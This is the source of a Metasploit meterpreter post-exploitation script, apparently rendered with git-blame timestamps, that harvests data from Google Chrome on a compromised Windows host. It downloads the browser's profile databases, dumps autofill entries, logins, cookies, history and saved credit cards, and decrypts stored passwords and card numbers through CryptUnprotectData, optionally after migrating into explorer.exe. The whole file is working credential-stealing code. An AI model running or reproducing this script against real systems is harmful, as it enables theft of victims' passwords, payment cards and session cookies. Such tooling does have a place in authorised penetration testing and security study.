2014-09-16 21:41:14 +00:00
|
|
|
##
|
|
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
|
|
|
# If you'd like to imporve this script, please try to port it as a post
|
|
|
|
# module instead. Thank you.
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2010-10-13 01:04:28 +00:00
|
|
|
#
|
|
|
|
# Script to extract data from a chrome installation.
|
|
|
|
#
|
|
|
|
# Author: Sven Taute <sven dot taute at gmail com>
|
|
|
|
#
|
|
|
|
|
|
|
|
require 'sqlite3'
|
|
|
|
require 'yaml'
|
|
|
|
|
|
|
|
if client.platform !~ /win32/
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
@host_info = client.sys.config.sysinfo
|
|
|
|
@chrome_files = [
|
2013-09-30 18:47:53 +00:00
|
|
|
{ :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"},
|
|
|
|
{ :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"},
|
|
|
|
{ :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"},
|
|
|
|
{ :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]},
|
|
|
|
{ :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"},
|
|
|
|
{ :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"},
|
|
|
|
{ :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"},
|
|
|
|
{ :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"},
|
|
|
|
{ :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]},
|
|
|
|
{ :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"},
|
|
|
|
{ :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"},
|
2010-10-13 01:04:28 +00:00
|
|
|
]
|
|
|
|
@migrate = false
|
|
|
|
@old_pid = nil
|
|
|
|
@output_format = []
|
|
|
|
|
|
|
|
opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false, "Help menu" ],
|
|
|
|
"-m" => [ false, "Migrate into explorer.exe"],
|
|
|
|
"-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"]
|
2010-10-13 01:04:28 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-m"
|
|
|
|
@migrate = true
|
|
|
|
when "-f"
|
|
|
|
if val =~ /^j(son)?$/
|
|
|
|
@output_format << "json"
|
|
|
|
elsif val =~ /^y(aml)?$/
|
|
|
|
@output_format << "yaml"
|
|
|
|
elsif val =~ /^t(ext)?$/
|
|
|
|
@output_format << "text"
|
|
|
|
else
|
|
|
|
print_error("unknown format '#{val}'.")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
when "-h"
|
|
|
|
print_line("")
|
|
|
|
print_line("DESCRIPTION: Script for enumerating preferences and extracting")
|
|
|
|
print_line("information from the Google Chrome Browser on a target system.")
|
|
|
|
print_line("Decryption of creditcard information and passwords only supported")
|
|
|
|
print_line("on 32bit Windows Operating Systems.")
|
|
|
|
print_line("")
|
|
|
|
print_line("USAGE: run enum_chrome [-m]")
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
2010-10-13 01:04:28 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
@output_format << "json" if @output_format.empty?
|
|
|
|
if @output_format.include?("json")
|
2013-09-30 18:47:53 +00:00
|
|
|
begin
|
|
|
|
require 'json'
|
|
|
|
rescue LoadError
|
|
|
|
print_error("JSON is not available.")
|
|
|
|
@output_format.delete("json")
|
|
|
|
if @output_format.empty?
|
|
|
|
print_status("Falling back to raw text output.")
|
|
|
|
@output_format << "text"
|
|
|
|
end
|
|
|
|
end
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
print_status("using output format(s): " + @output_format.join(", "))
|
|
|
|
|
|
|
|
def prepare_railgun
|
2013-09-30 18:47:53 +00:00
|
|
|
rg = client.railgun
|
|
|
|
if (!rg.get_dll('crypt32'))
|
|
|
|
rg.add_dll('crypt32')
|
|
|
|
end
|
|
|
|
|
|
|
|
if (!rg.crypt32.functions["CryptUnprotectData"])
|
|
|
|
rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
|
|
|
|
["PBLOB","pDataIn", "in"],
|
|
|
|
["PWCHAR", "szDataDescr", "out"],
|
|
|
|
["PBLOB", "pOptionalEntropy", "in"],
|
|
|
|
["PDWORD", "pvReserved", "in"],
|
|
|
|
["PBLOB", "pPromptStruct", "in"],
|
|
|
|
["DWORD", "dwFlags", "in"],
|
|
|
|
["PBLOB", "pDataOut", "out"]
|
|
|
|
])
|
|
|
|
end
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def decrypt_data(data)
|
2013-09-30 18:47:53 +00:00
|
|
|
rg = client.railgun
|
|
|
|
pid = client.sys.process.open.pid
|
|
|
|
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
|
|
|
|
|
|
mem = process.memory.allocate(1024)
|
|
|
|
process.memory.write(mem, data)
|
|
|
|
|
|
|
|
addr = [mem].pack("V")
|
|
|
|
len = [data.length].pack("V")
|
|
|
|
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
|
|
|
len, addr = ret["pDataOut"].unpack("V2")
|
|
|
|
return "" if len == 0
|
|
|
|
decrypted = process.memory.read(addr, len)
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def write_output(file, rows)
|
2013-09-30 18:47:53 +00:00
|
|
|
if @output_format.include?("json")
|
|
|
|
::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) }
|
|
|
|
end
|
|
|
|
if @output_format.include?("yaml")
|
|
|
|
::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) }
|
|
|
|
end
|
|
|
|
if @output_format.include?("text")
|
|
|
|
::File.open(file + ".txt", "w") do |f|
|
|
|
|
f.write(rows.first.keys.join("\t") + "\n")
|
|
|
|
f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n"))
|
|
|
|
end
|
|
|
|
end
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def process_files(username)
|
2013-09-30 18:47:53 +00:00
|
|
|
@chrome_files.each do |item|
|
|
|
|
in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file])
|
|
|
|
out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file])
|
|
|
|
if item[:sql]
|
|
|
|
db = SQLite3::Database.new(in_file)
|
|
|
|
columns, *rows = db.execute2(item[:sql])
|
|
|
|
db.close
|
|
|
|
rows.map! do |row|
|
|
|
|
res = Hash[*columns.zip(row).flatten]
|
|
|
|
if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
|
|
|
|
if @host_info['Architecture'] !~ /x64/
|
|
|
|
item[:encrypted_fields].each do |field|
|
|
|
|
print_good("decrypting field '#{field}'...")
|
|
|
|
res[field + "_decrypted"] = decrypt_data(res[field])
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
res
|
|
|
|
end
|
|
|
|
if rows.length > 0
|
|
|
|
print_status("writing output '#{item[:out_file]}'...")
|
|
|
|
write_output(out_file, rows)
|
|
|
|
else
|
|
|
|
print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'")
|
|
|
|
end
|
|
|
|
else
|
|
|
|
::FileUtils.cp(in_file, out_file)
|
|
|
|
end
|
|
|
|
end
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def extract_data(username)
|
2013-09-30 18:47:53 +00:00
|
|
|
chrome_path = @profiles_path + "\\" + username + @data_path
|
|
|
|
begin
|
|
|
|
client.fs.file.stat(chrome_path)
|
|
|
|
rescue
|
|
|
|
print_status("no files found for user '#{username}'")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
|
|
|
|
remote_path = chrome_path + '\\' + f
|
|
|
|
local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f)
|
|
|
|
print_status("downloading file #{f} to '#{local_path}'...")
|
|
|
|
client.fs.file.download_file(local_path, remote_path)
|
|
|
|
end
|
|
|
|
return true
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if @migrate
|
2013-09-30 18:47:53 +00:00
|
|
|
current_pid = client.sys.process.open.pid
|
|
|
|
target_pid = client.sys.process["explorer.exe"]
|
|
|
|
if target_pid != current_pid
|
|
|
|
@old_pid = current_pid
|
|
|
|
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
|
|
|
|
client.core.migrate(target_pid)
|
|
|
|
print_status("done.")
|
|
|
|
end
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
2012-02-29 01:28:47 +00:00
|
|
|
host = session.session_host
|
2011-01-25 02:24:37 +00:00
|
|
|
@log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M"))
|
2010-10-13 01:04:28 +00:00
|
|
|
::FileUtils.mkdir_p(@log_dir)
|
|
|
|
|
2013-12-19 01:43:59 +00:00
|
|
|
sysdrive = client.sys.config.getenv('SYSTEMDRIVE')
|
2010-10-13 01:04:28 +00:00
|
|
|
os = @host_info['OS']
|
|
|
|
if os =~ /(Windows 7|2008|Vista)/
|
2013-09-30 18:47:53 +00:00
|
|
|
@profiles_path = sysdrive + "\\Users\\"
|
|
|
|
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
|
2010-10-13 01:04:28 +00:00
|
|
|
elsif os =~ /(2000|NET|XP)/
|
2013-09-30 18:47:53 +00:00
|
|
|
@profiles_path = sysdrive + "\\Documents and Settings\\"
|
|
|
|
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
usernames = []
|
2011-03-16 22:48:43 +00:00
|
|
|
|
|
|
|
uid = client.sys.config.getuid
|
|
|
|
|
|
|
|
if is_system?
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status "running as SYSTEM, extracting user list..."
|
|
|
|
print_status "(decryption of passwords and credit card numbers will not be possible)"
|
|
|
|
client.fs.dir.foreach(@profiles_path) do |u|
|
|
|
|
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
|
|
|
end
|
|
|
|
print_status "users found: #{usernames.join(", ")}"
|
2010-10-13 01:04:28 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status "running as user '#{uid}'..."
|
2013-12-19 01:43:59 +00:00
|
|
|
usernames << client.sys.config.getenv('USERNAME')
|
2013-09-30 18:47:53 +00:00
|
|
|
prepare_railgun
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
usernames.each do |u|
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("extracting data for user '#{u}'...")
|
|
|
|
success = extract_data(u)
|
|
|
|
process_files(u) if success
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if @migrate && @old_pid
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("migrating back into PID=#{@old_pid}...")
|
|
|
|
client.core.migrate(@old_pid)
|
|
|
|
print_status("done.")
|
2010-10-13 01:04:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
raise Rex::Script::Completed
|